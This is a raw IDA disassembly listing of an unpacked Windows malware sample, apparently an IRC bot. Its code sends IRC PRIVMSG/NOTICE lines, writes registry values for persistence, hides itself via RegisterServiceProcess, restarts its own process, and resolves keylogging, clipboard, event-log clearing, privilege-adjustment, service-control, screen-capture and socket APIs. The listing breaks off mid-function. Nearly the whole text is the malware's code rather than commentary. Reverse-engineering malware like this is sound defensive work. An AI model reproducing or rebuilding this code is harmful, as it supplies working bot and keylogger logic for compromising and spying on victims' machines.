;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	72DCFCA66EC3E10B21F4FAC429654038

; File Name   :	u:\work\72dcfca66ec3e10b21f4fac429654038_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000290F6 ( 168182.)
; Section size in file		: 000290F6 ( 168182.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default
; OS type	  :  MS	Windows
; Application type:  Executable	32bit


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_401000(char *Str)

sub_401000	proc near		; CODE XREF: WinMain(x,x,x,x)+342p
					; sub_41AEDD+1Ep

var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		mov	ebx, offset aLoghdriver	; "loghDriver"


loc_401010:				; CODE XREF: sub_401000+6Aj
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	0F003Fh
		push	edi
		push	edi
		push	edi
		push	off_43C054[esi]
		push	dword_43C050[esi]
		call	dword_444150	; RegCreateKeyExA
		cmp	[ebp+Str], edi
		jz	short loc_401051
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		push	eax
		push	[ebp+Str]
		push	1
		push	edi
		push	ebx
		push	[ebp+var_4]
		call	dword_4440E4	; RegSetValueExA
		jmp	short loc_40105B
; ---------------------------------------------------------------------------


loc_401051:				; CODE XREF: sub_401000+33j
		push	ebx
		push	[ebp+var_4]
		call	dword_444144	; RegDeleteValueA


loc_40105B:				; CODE XREF: sub_401000+4Fj
		push	[ebp+var_4]
		call	dword_4441E8	; RegCloseKey
		add	esi, 8
		cmp	esi, 18h
		jb	short loc_401010
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401071	proc near		; CODE XREF: sub_40109F+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		or	eax, 0FFFFFFFFh
		test	esi, esi
		jz	short loc_40109B


loc_401081:				; CODE XREF: sub_401071+28j
		xor	edx, edx
		mov	dl, [ecx]
		xor	edx, eax
		and	edx, 0FFh
		shr	eax, 8
		xor	eax, ds:dword_42B230[edx*4]
		inc	ecx
		dec	esi
		jnz	short loc_401081


loc_40109B:				; CODE XREF: sub_401071+Ej
		not	eax
		pop	esi
		retn
sub_401071	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40109F(char *)

sub_40109F	proc near		; CODE XREF: sub_418F38+23Ep

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx		; char *
		call	_malloc
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]	; char *
		mov	esi, eax
		call	_fopen
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jnz	short loc_4010EA


loc_4010C4:				; CODE XREF: sub_40109F+37j
		xor	eax, eax
		jmp	short loc_40110B
; ---------------------------------------------------------------------------


loc_4010C8:				; CODE XREF: sub_40109F+4Fj
		inc	ebx
		push	ebx		; NewSize
		push	esi		; Memory
		call	_realloc
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_4010C4
		push	edi		; File
		push	1		; Count
		lea	eax, [esi+ebx-1]
		push	1		; ElementSize
		push	eax		; DstBuf
		call	_fread
		add	esp, 10h


loc_4010EA:				; CODE XREF: sub_40109F+23j
		test	byte ptr [edi+0Ch], 10h
		jz	short loc_4010C8
		dec	ebx
		push	ebx
		push	esi
		call	sub_401071
		push	esi		; Memory
		mov	ebx, eax
		call	_free
		push	edi		; File
		call	_fclose
		add	esp, 10h
		mov	eax, ebx


loc_40110B:				; CODE XREF: sub_40109F+27j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40109F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40110F	proc near		; DATA XREF: WinMain(x,x,x,x)+14o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
Dst		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_4444F4
		call	dword_444218	; closesocket
		call	sub_40AFF6
		call	dword_444224	; WSACleanup
		call	dword_444224	; WSACleanup
		mov	ebx, ds:dword_42B014
		push	64h
		call	ebx	; Sleep
		push	10h		; Size
		xor	edi, edi
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		pop	esi
		push	esi		; Size
		lea	eax, [ebp+var_54]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+var_158]
		push	eax
		mov	[ebp+var_48], offset byte_42B633
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	ds:dword_42B010	; GetSystemDirectoryA
		push	esi
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		call	ds:dword_42B00C	; GetModuleFileNameA
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_158]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		push	edi
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		call	ds:dword_42B008	; CreateProcessA
		test	eax, eax
		jz	short loc_4011D4
		push	64h
		call	ebx	; Sleep
		push	[ebp+Dst]
		mov	esi, ds:dword_42B004
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_4011D4:				; CODE XREF: sub_40110F+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_444060
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_42B000	; ExitProcess
		int	3		; Trap to Debugger
sub_40110F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4011F5(int,char *Format,char Args)

sub_4011F5	proc near		; CODE XREF: sub_402472+3Fp
					; sub_40274D+1A9p ...

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Format		= dword	ptr  0Ch
Args		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	[ebp+Format]	; Format
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__vsnprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_4441A0	; send
		leave
		retn
sub_4011F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40123B(int,char *Str,int,int,int)

sub_40123B	proc near		; CODE XREF: sub_401F92+40p
					; sub_401F92+74p ...

var_400		= byte ptr -400h
Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset Str	; "NOTICE"
		jnz	short loc_401256
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_401256:				; CODE XREF: sub_40123B+14j
		push	edi		; Str
		call	_strlen
		push	[ebp+Str]	; Str
		mov	esi, 1FAh
		sub	esi, eax
		call	_strlen
		push	[ebp+arg_8]
		sub	esi, eax
		push	offset aS	; "%s"
		lea	eax, [ebp+var_400]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+Str]
		lea	eax, [ebp+Dest]
		push	edi
		push	offset Format	; "%s %s :%s\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 2Ch
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_4441A0	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_4012D4
		push	7D0h
		call	ds:dword_42B014	; Sleep

locret_4012D4:				; CODE XREF: sub_40123B+8Cj
		leave
		retn
sub_40123B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4012D6	proc near		; CODE XREF: WinMain(x,x,x,x)+4Bp
		push	ebx
		push	ebp
		mov	ebp, ds:dword_42B024
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, ds:dword_42B020
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_4013F6
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4440D4, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4440F0, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_444154, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4440A4, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_444118, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4440FC, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4441A8, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_44407C, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_444124, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_44414C, eax
		call	esi	; GetProcAddress
		cmp	dword_4440D4, ebx
		mov	dword_4441B4, eax
		jz	short loc_4013D4
		cmp	dword_4440F0, ebx
		jz	short loc_4013D4
		cmp	dword_444154, ebx
		jz	short loc_4013D4
		cmp	dword_4440A4, ebx
		jz	short loc_4013D4
		cmp	dword_4440FC, ebx
		jz	short loc_4013D4
		cmp	dword_4441A8, ebx
		jz	short loc_4013D4
		cmp	dword_44407C, ebx
		jz	short loc_4013D4
		cmp	dword_444124, ebx
		jz	short loc_4013D4
		cmp	dword_44414C, ebx
		jz	short loc_4013D4
		cmp	eax, ebx
		jnz	short loc_4013DE


loc_4013D4:				; CODE XREF: sub_4012D6+B8j
					; sub_4012D6+C0j ...
		mov	dword_444264, 1


loc_4013DE:				; CODE XREF: sub_4012D6+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_444208, eax
		jz	short loc_40140B
		push	1
		push	ebx
		call	eax
		jmp	short loc_40140B
; ---------------------------------------------------------------------------


loc_4013F6:				; CODE XREF: sub_4012D6+1Dj
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	dword_444268, eax
		mov	dword_444264, 1


loc_40140B:				; CODE XREF: sub_4012D6+117j
					; sub_4012D6+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_42B018	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_401520
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4441CC, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_444160, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_444084, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4440F8, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_44409C, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_44423C, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_444080, eax
		call	esi	; GetProcAddress
		cmp	dword_4441CC, ebx
		mov	dword_4441A4, eax
		jz	short loc_4014C4


loc_401490:				; DATA XREF: .data:off_43F1F0o
		cmp	dword_444160, ebx
		jz	short loc_4014C4
		cmp	dword_444084, ebx
		jz	short loc_4014C4
		cmp	dword_4440F8, ebx
		jz	short loc_4014C4
		cmp	dword_44409C, ebx
		jz	short loc_4014C4
		cmp	dword_44423C, ebx
		jz	short loc_4014C4
		cmp	dword_444080, ebx
		jz	short loc_4014C4
		cmp	eax, ebx
		jnz	short loc_4014CE


loc_4014C4:				; CODE XREF: sub_4012D6+1B8j
					; sub_4012D6+1C0j ...
		mov	dword_44426C, 1


loc_4014CE:				; CODE XREF: sub_4012D6+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4440A0, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_44422C, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4440B0, eax
		call	esi	; GetProcAddress
		cmp	dword_4440A0, ebx
		mov	dword_4440C0, eax
		jz	short loc_40152B
		cmp	dword_44422C, ebx
		jz	short loc_40152B
		cmp	dword_4440B0, ebx
		jz	short loc_40152B
		cmp	eax, ebx
		jnz	short loc_401535
		jmp	short loc_40152B
; ---------------------------------------------------------------------------


loc_401520:				; CODE XREF: sub_4012D6+144j
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	dword_444270, eax


loc_40152B:				; CODE XREF: sub_4012D6+232j
					; sub_4012D6+23Aj ...
		mov	dword_44426C, 1


loc_401535:				; CODE XREF: sub_4012D6+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4016EE
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_444238, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_444150, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4440E4, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4440B8, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_444144, eax
		call	esi	; GetProcAddress
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4441E8, eax
		call	esi	; GetProcAddress
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_444248, eax
		call	esi	; GetProcAddress
		cmp	dword_444238, ebx
		mov	dword_44411C, eax
		jz	short loc_4015DE
		cmp	dword_444150, ebx
		jz	short loc_4015DE
		cmp	dword_4440E4, ebx
		jz	short loc_4015DE
		cmp	dword_4440B8, ebx
		jz	short loc_4015DE
		cmp	dword_444144, ebx
		jz	short loc_4015DE
		cmp	dword_4441E8, ebx
		jnz	short loc_4015E8


loc_4015DE:				; CODE XREF: sub_4012D6+2DEj
					; sub_4012D6+2E6j ...
		mov	dword_444274, 1


loc_4015E8:				; CODE XREF: sub_4012D6+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_444244, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_444228, eax
		call	esi	; GetProcAddress
		cmp	dword_444244, ebx
		mov	dword_444170, eax
		jz	short loc_401623
		cmp	dword_444228, ebx
		jz	short loc_401623
		cmp	eax, ebx
		jnz	short loc_40162D


loc_401623:				; CODE XREF: sub_4012D6+33Fj
					; sub_4012D6+347j
		mov	dword_444274, 1


loc_40162D:				; CODE XREF: sub_4012D6+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4441C8, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_44424C, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4441D0, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4441EC, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4440F4, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_444134, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4441D8, eax
		call	esi	; GetProcAddress
		cmp	dword_4441C8, ebx
		mov	dword_444204, eax
		jz	short loc_4016D1
		cmp	dword_44424C, ebx
		jz	short loc_4016D1
		cmp	dword_4441D0, ebx
		jz	short loc_4016D1
		cmp	dword_4441EC, ebx
		jz	short loc_4016D1
		cmp	dword_4440F4, ebx
		jz	short loc_4016D1
		cmp	dword_444134, ebx
		jz	short loc_4016D1
		cmp	dword_4441D8, ebx
		jz	short loc_4016D1
		cmp	eax, ebx
		jnz	short loc_4016DB


loc_4016D1:				; CODE XREF: sub_4012D6+3C5j
					; sub_4012D6+3CDj ...
		mov	dword_444274, 1


loc_4016DB:				; CODE XREF: sub_4012D6+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_444198, eax
		jnz	short loc_401703
		jmp	short loc_4016F9
; ---------------------------------------------------------------------------


loc_4016EE:				; CODE XREF: sub_4012D6+26Aj
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	dword_444278, eax


loc_4016F9:				; CODE XREF: sub_4012D6+416j
		mov	dword_444274, 1


loc_401703:				; CODE XREF: sub_4012D6+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4017CF
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_444250, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_44421C, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_444180, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_444178, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4441C0, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_44408C, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_444190, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_444130, eax
		call	esi	; GetProcAddress
		cmp	dword_444250, ebx
		mov	dword_444184, eax
		jz	short loc_4017DA
		cmp	dword_44421C, ebx
		jz	short loc_4017DA
		cmp	dword_444180, ebx
		jz	short loc_4017DA
		cmp	dword_444178, ebx
		jz	short loc_4017DA
		cmp	dword_4441C0, ebx
		jz	short loc_4017DA
		cmp	dword_44408C, ebx
		jz	short loc_4017DA
		cmp	dword_444190, ebx
		jz	short loc_4017DA
		cmp	dword_444130, ebx
		jz	short loc_4017DA
		cmp	eax, ebx
		jnz	short loc_4017E4
		jmp	short loc_4017DA
; ---------------------------------------------------------------------------


loc_4017CF:				; CODE XREF: sub_4012D6+438j
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	dword_444280, eax


loc_4017DA:				; CODE XREF: sub_4012D6+4B9j
					; sub_4012D6+4C1j ...
		mov	dword_44427C, 1


loc_4017E4:				; CODE XREF: sub_4012D6+4F5j
		mov	ebp, ds:dword_42B018
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_401AA0
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_444110, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_444074, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_444194, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_44415C, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4441E0, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4441C4, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_444224, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_444100, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_444094, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4440AC, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_444188, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_44417C, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_444260, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_444234, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_444200, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_4441DC, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4441A0, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4440CC, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_444064, eax
		call	esi	; GetProcAddress
		mov	dword_444088, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4441E4, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4441B0, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_444230, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4440BC, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_444120, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_444068, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_444220, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_444168, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4441FC, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_444148, eax
		call	esi	; GetProcAddress
		cmp	dword_444110, ebx
		mov	dword_444218, eax
		jz	loc_401AAB
		cmp	dword_444074, ebx
		jz	loc_401AAB
		cmp	dword_444194, ebx
		jz	loc_401AAB
		cmp	dword_4441E0, ebx
		jz	loc_401AAB
		cmp	dword_4441C4, ebx
		jz	loc_401AAB
		cmp	dword_444224, ebx
		jz	loc_401AAB
		cmp	dword_444100, ebx
		jz	loc_401AAB
		cmp	dword_444094, ebx
		jz	loc_401AAB
		cmp	dword_4440AC, ebx
		jz	loc_401AAB
		cmp	dword_444188, ebx
		jz	loc_401AAB
		cmp	dword_44417C, ebx
		jz	loc_401AAB
		cmp	dword_444260, ebx
		jz	loc_401AAB
		cmp	dword_444234, ebx
		jz	loc_401AAB
		cmp	dword_444200, ebx
		jz	short loc_401AAB
		cmp	dword_4441A0, ebx
		jz	short loc_401AAB
		cmp	dword_4440CC, ebx
		jz	short loc_401AAB
		cmp	dword_444064, ebx
		jz	short loc_401AAB
		cmp	dword_444088, ebx
		jz	short loc_401AAB
		cmp	dword_4441E4, ebx
		jz	short loc_401AAB
		cmp	dword_4441B0, ebx
		jz	short loc_401AAB
		cmp	dword_444230, ebx
		jz	short loc_401AAB
		cmp	dword_4440BC, ebx
		jz	short loc_401AAB
		cmp	dword_444120, ebx
		jz	short loc_401AAB
		cmp	dword_444068, ebx
		jz	short loc_401AAB
		cmp	dword_444220, ebx
		jz	short loc_401AAB
		cmp	dword_444168, ebx
		jz	short loc_401AAB
		cmp	dword_4441FC, ebx
		jz	short loc_401AAB
		cmp	eax, ebx
		jnz	short loc_401AB5
		jmp	short loc_401AAB
; ---------------------------------------------------------------------------


loc_401AA0:				; CODE XREF: sub_4012D6+51Fj
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	dword_444288, eax


loc_401AAB:				; CODE XREF: sub_4012D6+6BEj
					; sub_4012D6+6CAj ...
		mov	dword_444284, 1


loc_401AB5:				; CODE XREF: sub_4012D6+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_401BBA
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_444078, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_44425C, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_44412C, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_444258, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_44413C, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_444098, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_444108, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_444070, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4441B8, eax
		call	esi	; GetProcAddress
		cmp	dword_444078, ebx
		mov	ecx, dword_444098
		mov	dword_444164, eax
		jz	short loc_401B96
		cmp	dword_44425C, ebx
		jz	short loc_401B96
		cmp	dword_44412C, ebx
		jz	short loc_401B96
		cmp	dword_444258, ebx
		jz	short loc_401B96
		cmp	dword_44413C, ebx
		jz	short loc_401B96
		cmp	ecx, ebx
		jz	short loc_401B96
		cmp	dword_444108, ebx
		jz	short loc_401B96
		cmp	dword_444070, ebx
		jz	short loc_401B96
		cmp	dword_4441B8, ebx
		jz	short loc_401B96
		cmp	eax, ebx
		jnz	short loc_401BA0


loc_401B96:				; CODE XREF: sub_4012D6+87Ej
